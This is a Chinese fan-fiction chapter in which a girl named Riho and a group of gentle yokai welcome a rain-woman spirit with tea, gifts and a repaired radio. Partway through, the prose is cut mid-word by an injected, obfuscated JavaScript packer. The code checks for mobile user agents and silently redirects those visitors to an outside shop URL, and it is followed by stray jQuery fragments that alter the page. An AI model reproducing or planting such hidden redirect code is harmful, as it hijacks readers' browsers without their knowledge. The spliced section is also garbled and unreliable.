雨是从傍晚开始下的。
雨丝细细密密的，落在理穗公寓的玻璃窗上，哒哒作响，像是有人在窗外轻轻地敲着节拍。
理穗站在窗前，看着雨水顺着玻璃滑下来，把窗外的霓虹灯拉成一道道模糊的光带。
她在等一位特殊的客人。下周六有区预赛，帝光中学和华山中学的比赛，理穗最近一直帮桃井整理对手的资料，有时候会讨论很久。
原本今晚想早点休息，但是架不住一众妖怪们的期盼，只好提供场地进行一场宴会。欢迎雨女的到来。
东京的雨总是匆忙的。下得快，停得也快，像这座城市里所有的人一样，没有时间停留。但今晚的雨不一样。它慢慢地来，慢慢地落，像是终于找到了一个可以停靠的地方，不急著离开。
“雨女大人到了。”
桔梗塚的声音从身后传来，淡淡的，带着一丝花香。
理穗转过身。
屋里只开着几盏小灯，暖黄的光裹着满室的妖怪，把每一个角落都照得柔软而模糊。客厅不大，但此刻挤着十来只妖怪，大大小小，形态各异，有的坐在沙发扶手上，有的飘在半空中，有的缩在书架的阴影里。它们都安静下来，目光齐刷刷地投向门口的方向。
雨女站在玄关处，微微低着头，雨水从她的衣角滑落，在地上聚成一小滩，但没有渗进地板，而是像露珠一样滚来滚去，晶莹剔透的围绕在她身边。
她穿着淡蓝色的和服，长发披散在肩上，发梢带着湿意。她的皮肤几乎是透明的，像是被雨水洗过无数次，薄得能看见底下青色的血管。她的眼睛也是淡蓝色的，像雨后的天空，干净得没有一丝杂质。
“打扰了。”她的声音很轻，像雨丝落在水面上。
“请进。”理穗邀请雨女进屋坐下，刚在坐垫上坐下，指尖轻轻拂过微凉的空气，身边便绕起一圈细小雨珠。连理穗窗台上养的绿植盆栽也沾上了雨女的气息。
“谢谢。”雨女轻声说，她的脚很凉，踩在地板上几乎没有声音。
“雨女大人，这边请。”
夜樱貉从沙发上站起来，微微欠身，做了一个“请”的手势。他是一只老狸妖，化成人形时是个温文尔雅的中年男人，穿着深色的和服，头发花白，眼角有细纹。但最引人注目的是他的眼睛——那双眼睛里盛着樱花的颜色，淡淡的粉，像是把整个春天的花瓣都揉碎了融进去。
他在隅田川边住了上百年，听过无数花火绽开的声音，也听过无数恋人在樱花树下许下的誓言。那些声音和誓言慢慢渗进他的身体里，化成了一种叫“恋慕”的气息。他不害人，也不捉弄人，只是每年樱花盛开的季节，会悄悄地延长几夜月色，让花期看起来更长一些。
雨女在他对面坐下来。坐垫是理穗提前准备好的，深蓝色，上面绣着几朵白色的水纹。
“雨女大人一路辛苦。”夜樱貉温和地开口，声音像旧唱片里传出的低音，沉稳而温暖，“东京的雨，总算因您真正温柔起来了。”
雨女浅浅一笑。倒是比之前狡黠的样子正式许多。
“一路听着东京的雨声，倒比别处热闹许多。”她说，“多谢诸位愿意收留我这随雨漂泊的妖。”
她的目光扫过客厅里的每一只妖怪。
客厅不大，但此刻坐满了“人”。
茶几上摆着理穗提前备好的和果子——豆沙馅的樱饼，外皮是淡淡的粉色，像春天还没完全褪去的颜色。旁边是一壶温热的麦茶，茶香混着雨水的湿气，在空气里慢慢散开。
茶几的一角，还摆着几样小东西。
隅田川的樱饼，用竹叶包着，绑着细细的稻草绳。神田川的墨色糖，黑得发亮，像是把整条河的颜色都熬进了糖里。还有一束桔梗干花，紫色的花瓣已经风干了，但还保留着盛放时的形状，插在一个小小的玻璃瓶里。
这些都是妖怪们带来的。它们带着自己认为最好的东西，悄悄地放在茶几上，然后安静地找个角落坐下，等着雨女的到来。
没有人告诉它们要这么做。
它们只是觉得，雨女从那么远的地方来，应该被好好欢迎。
“雨、雨女大人——”
一个细小的声音从阴影里传来。
缝影从沙发底下的缝隙里探出头来，丝线织成的小身子扭了扭，像一只害羞的小动物。它是一只影子妖怪，身体是无数黑色丝线缠绕而成的，没有固定的形状，可以随意伸缩。它的眼睛是两颗白色的纽扣，不知道是从哪件旧衣服上拆下来的，缝在丝线的某个位置，歪歪扭扭的，但意外地有神。
“雨、雨女大人放心，”缝影的声音细细的，带着点怯生生的颤音，“理穗小姐的家很暖的……我们已经把屋里所有凌乱的影子都缝整齐啦，绝对不会绊到您的！”
它顿了顿，白纽扣般的眼睛亮了亮，语气里多了点欢喜。
“所、所以您可以放心地住一段时间……想住多久就住多久……”
说完，它又缩回去了一点，好像觉得自己说得太多了。
其实缝影和理穗认识的时间并不长，它是今年春天才遇到理穗的，在那之前，它一直缩在各种物件的影子里，从一个地方流浪到另一个地方，从来没有被任何人注意过。
直到有一天，理穗在公园休息的时候，突然对座着那把椅子说了一句：“你的影子今天好像比昨天大了一点。”
缝影吓得差点从影子里掉出来。
从来没有人看见过它。
但理穗看见了。
从那以后，缝影就经常来找理穗了。它开始学着整理理事房间里的影子，把窗帘的影子拉直，把书架的影子摆正，把晚上从窗外透进来的树影修剪成好看的样子。它做这些事的时候，心里会涌起一种奇怪的感觉。
它后来才知道，那叫“归属感”。
“谢谢你，缝影。”雨女轻声说，“被你们这样用心迎接，我很开心。”
缝影的身体微微一颤，丝线织成的小身子扭得更厉害了。它把脸埋进影子里，只露出两颗白纽扣眼睛，一闪一闪的，像是在忍眼泪。
“不、不用谢……雨女大人不用谢……”
“哎呀，缝影害羞了。”
一个软乎乎的声音从头顶飘下来。
纸縒捧着一叠旧信，从书架的方向飘过来。它是一只信纸妖怪，身体由无数张泛黄的旧信纸叠成，每张纸上面都写满了字。有些是情书，有些是家书，有些是再普通不过的日常问候。它的头发是细细的纸绳，垂在肩膀两边，随着飘动的动作晃来晃去。
纸縒轻轻地飘到雨女面前，把那叠旧信捧到她眼前。它的动作很小心，像捧着一捧水，怕洒出一滴。
“这、这些是我收集的……”纸縒的声音软乎乎的，还带着点害羞的卡顿，“人间在雨天写下的心事……雨女大人和雨相伴，说不定、说不定会喜欢。”
它一边说，一边用指尖轻轻碰了碰最上面那封信。信纸微微发光，几行墨字从纸面上飘起来，浮在半空中，像萤火虫一样闪烁着。
那些字写得歪歪扭扭的，有些地方被雨水洇开了，模糊不清。但仔细看，能辨认出内容：
“今天下雨了。不知道你那里是不是也下着雨。”
“伞忘在电车里了。淋着雨走回来的时候，突然很想你。”
“雨停了。但我的心里还在下。”
纸縒收集这些信用了很久。有些是从旧书店的废纸堆里捡来的，有些是被风吹到路边的，有些是它悄悄从人家扔掉的旧物里翻出来的。它不觉得这是偷。它觉得自己是在“收留”，收留那些被遗忘的心意，那些在雨天里写下、却再也没有被读到的句子。
它守着的从来不是旧书信，而是那些藏在文字里的、温柔的东西。
“真是一份温柔的礼物。”雨女接过那叠信，指尖轻轻一碰，信纸上便泛起湿润的柔光，那些干涸的墨迹重新活了过来。
她低下头，一页一页地翻看。
“原来人间的雨，也藏着这么多话。”她的声音很轻，像是对自己说的，又像是对那些写信的人说的，“想必我今后的旅程不会寂寞了。”
纸縒站在旁边，纸绳发丝微微晃动，轻轻地点了点头。
“雨夜漫长，有雨女大人在，这间屋子都安稳了许多。”
桔梗塚坐在角落的坐垫上，淡淡的花香从她身上漫开，和麦茶的香气混在一起，在暖黄的灯光下变得格外温柔。
桔梗塚是一只由桔梗花化成的妖怪。她的身体是淡紫色的，半透明，像是把一整个夏天的桔梗花田浓缩成了一个少女的形状。她的头发是深紫色的，垂到腰际，发间缀着几朵小小的桔梗花，开得正好，像是永远不会凋谢。
她原本是某个废弃神社旁的一株野花，因为常年听神社的钟声和祈祷，渐渐有了灵性。后来神社被拆了，野花也被铲除了，但她的灵体留了下来，开始在东京的角落里流浪。直到遇见了理穗。
“雨能洗净尘埃，也能安抚心神。”桔梗塚继续说，声音像风吹过花田，“大人到来，连东京的浮躁都淡了。”
雨女抬起头，看向桔梗塚。
两个女性妖怪的目光在暖黄的灯光下相遇。
一个是雨，一个是花。
她们看着彼此，都没有说话，但却让人感觉到惺惺相惜。
理穗看着这热闹的一幕，嘴角不自觉地微微上扬。
她坐在茶几的另一边，身边围着几只小妖怪，缝影趴在沙发扶手上，小福，一只像毛球的低阶妖怪蹲在她的膝盖上，河童，还有两只不知名的小妖缩在她背后的靠垫缝隙里，只露出两只眼睛。
她伸手拿起茶壶，给雨女倒了一杯温热的麦茶。
麦茶的颜色很深，倒进杯子里的时候，热气升起来，在灯光的映照下像一层薄薄的雾。
“雨女，请尝尝。”理穗把杯子递过去，“暖暖身子。”
雨女接过茶杯，指尖触到温热的杯壁。
那一瞬间，她的手指微微颤了一下。
太暖了。
她已经在雨里漂泊了太久。久到她已经忘记了“温暖”是什么感觉。她的身体总是湿的、凉的，像永远停留在当初深秋的雨夜里。她以为这就是她的宿命，随雨而来，随雨而去，永远带着一身湿意，永远找不到一个可以烘干自己的地方。
但此刻，指尖传来的温度，像是把她从漫长的雨夜里拉了出来。
“不用担心，”理穗看着她，眼神真诚而平静，“这些小妖虽然实力不强但都很善良。它们不会伤害你的。”
雨女低头看着杯中的麦茶，深色的液体里倒映着暖黄的灯光，还有自己的脸。
她在那张脸上看见了某种久违的东西。
“从前一直是孤身一人，”雨女轻声开口，“在雨里漂泊了很久。见过太多疏离与冷漠。可今天来到这里，看到你和大家居然这般要好……”
她抬起头，目光扫过客厅里的每一只妖怪。
夜樱貉在慢悠悠地喝茶，眼角带着温和的笑。縒在小心翼翼地整理那叠旧信，纸绳发丝垂下来遮住了半边脸。缝影缩在沙发的影子里，只露出两颗白纽扣眼睛，一闪一闪地看着她。桔梗塚安静地坐在角落，紫色的花瓣在灯光下泛着柔和的光。
还有電気狐。那只小家伙从刚才就一直缩在插座旁边，尾巴尖上带着一点电光，像是在等什么时机。
“才知道原来可以这么温暖。”雨女说完这句话，轻轻抿了一口麦茶。
茶是温的。不烫，不凉，刚好。
“我我我！”
電気狐终于忍不住了，从插座旁蹦出来，尾巴带着一串小小的电光，噼里啪啦的，像是放了一串迷你烟花。
它是一只电
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530711|203684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气妖怪小狐妖，算是东京妖怪里的新品种，体型只有巴掌大，毛色是深棕色的，尾巴特别大，几乎和身体一样长。它的眼睛是琥珀色的，圆溜溜的，永远闪着兴奋的光。它最喜欢待在电器旁边，尤其是插座和充电器，因为它可以从中吸取微弱的电流，让自己尾巴上的电光变得更亮。
“我把理穗小姐坏掉的收音机修好了！”電気狐激动得声音都在发抖，“可以放歌给雨女大人听！”
说着，它窜到茶几旁边的收音机边，小爪子在那几个旋钮上拨来拨去。它的动作很熟练，像是已经研究这台收音机很久了。
收音机发出沙沙的杂音。
電気狐的耳朵转了转，尾巴上的电光又亮了几分。它把尾巴凑到收音机的天线旁边，电流通过空气传导过去，收音机的杂音渐渐变小，一个温柔的旋律从喇叭里流淌出来。
是某首老歌。钢琴的前奏，然后是女声，轻轻地唱着，歌词听不太清，但旋律像雨丝一样柔软，慢慢地在客厅里铺开。
“还是这般活泼。”夜樱貉失笑，摇了摇头，但眼睛里满是慈爱。
“雨女大人难得来一次，当然要热闹一点点！”電気狐从收音机旁边跳下来，得意地甩了甩尾巴，“不能让她觉得东京的妖怪都很冷淡嘛！”
“你自己想玩就直说。”纸縒小声嘟囔了一句，但声音里带着笑。
電気狐吐了吐舌头，蹦到理穗的肩膀上蹲好，尾巴上的电光慢慢暗下去，只剩下一点点微弱的蓝光，像夜里的萤火虫。
雨女望着这一屋子小小的妖怪，眼底的冰慢慢融化。
“我走过许多地方，”她说，声音比刚才更轻了，“很久没有被这般用心迎接。”
“因为雨女大人很温柔呀。”缝影从影子探出头来，小声接话。它的声音还是细细的、怯怯的，但比刚才多了几分确定。
“雨不会伤害谁，何况是珍贵的春雨”纸縒也轻轻点头，纸绳发丝在灯光下泛着柔和的光，“雨女大人也一样。”
雨女没有说话。
她低下头，看着手中的茶杯。麦茶已经喝了一半，杯壁上还残留着指尖的温度。
她想起那些年在雨中独行的日子。
从一座城市到另一座城市，从一场雨到另一场雨。她走过繁华的街道，也走过荒芜的田野。她见过形形色色的人和妖，但大多数人看不见她，而看见她的妖，要么惧怕她的力量，要么想利用她的能力。
从来没有谁，像今晚这样。
没有惧怕，没有利用。只是一杯温热的麦茶，一叠旧信，一束干花，几句闲话，和一个温暖的房间。
“孤单的时候就来东京吧，”理穗伸出手，轻轻握住雨女的手，“我们一直欢迎你的。”
雨女的手指微微僵了一下。
理穗的手是暖的。不是那种灼热的、让人想躲开的烫，而是一种绵长的、安静的温暖，像是被阳光晒过的棉被，像是冬日里捧在手里的热茶。
雨女以为理穗会害怕。
她的皮肤总是湿的、凉的，普通人碰一下都会觉得不舒服。但理穗没有松手。她就那样握着，像是握着任何一个普通朋友的手一样自然。
“你……不觉得凉吗？”雨女轻声问。
“有一点。”理穗诚实地说，“但不讨厌。”
她顿了顿，又说：“雨本来就是凉的。但凉和冷不一样。凉是让人清醒的，冷才是让人想逃的。”
她看着雨女的眼睛，笑了一下。
“你是凉，不是冷。”
雨女张了张嘴，想说点什么，但喉咙像是被什么东西堵住了。
她低下头，看着理穗握住自己的那只手。
暖黄的光落在她们交握的手上，把两个人的肤色照得几乎一样。
“谢谢。”雨女说。
缝影顺着理穗的衣袖爬上来，乖乖趴在她的肩头，白纽扣眼睛亮亮的。
“我们都很期待雨女大人的到来。”缝影小声说，声音还是细细的，但比之前坚定了很多。
電気狐从理穗的肩膀上跳下来，蹦到茶几上，用尾巴卷起一块樱饼，递给雨女：“尝尝这个！理穗小姐买的，超好吃！”
雨女接过樱饼，咬了一小口。
豆沙的甜味在舌尖化开，和麦茶的温润混在一起。
“很好吃。”她说。
電気狐得意地甩了甩尾巴，尾巴上的电光又噼里啪啦地闪了几下。
夜樱貉端着茶杯，慢悠悠地开口：“东京的雨，从前总是太急。行人匆匆，无人驻足。但雨女大人来了之后，也许会有更多人愿意在雨天停下来，听听雨的声音。”
“也许会吧。”雨女说，“但我更希望，他们在雨天停下来的时候，不是因为雨，而是因为身边有人。”
她说完，看了理穗一眼。
理穗没有注意到那个眼神。她正在给桔梗塚倒茶，动作很轻很稳，麦茶从壶嘴里流出来，在杯子里打了一个小小的漩涡。
桔梗塚接过茶杯，低头闻了闻茶香，淡淡的花香从她的发间漫开，和麦茶的香气融在一起。
“麦茶和桔梗的味道很配。”桔梗塚说。
“是吗？”理穗歪了歪头，“那下次我多准备一些桔梗干花，放在茶壶旁边。”
“不用特意准备，”桔梗塚轻声说，“我在这里的时候，自然会有桔梗的香气。”
她说这句话的时候语气很淡，像是在陈述一个事实。
但理穗知道，那是桔梗塚在说“我会常来”。
窗外的雨还在下。
但比刚才小了一些。
雨声从“哒哒哒”变成了“沙沙沙”，像是有人在远处轻轻地摇着铃铛。雨水顺着玻璃窗滑下来，在窗台上汇成一条细细的水流，然后顺着墙角的缝隙流走。
屋里的灯光暖黄，把每一个角落都照得柔软。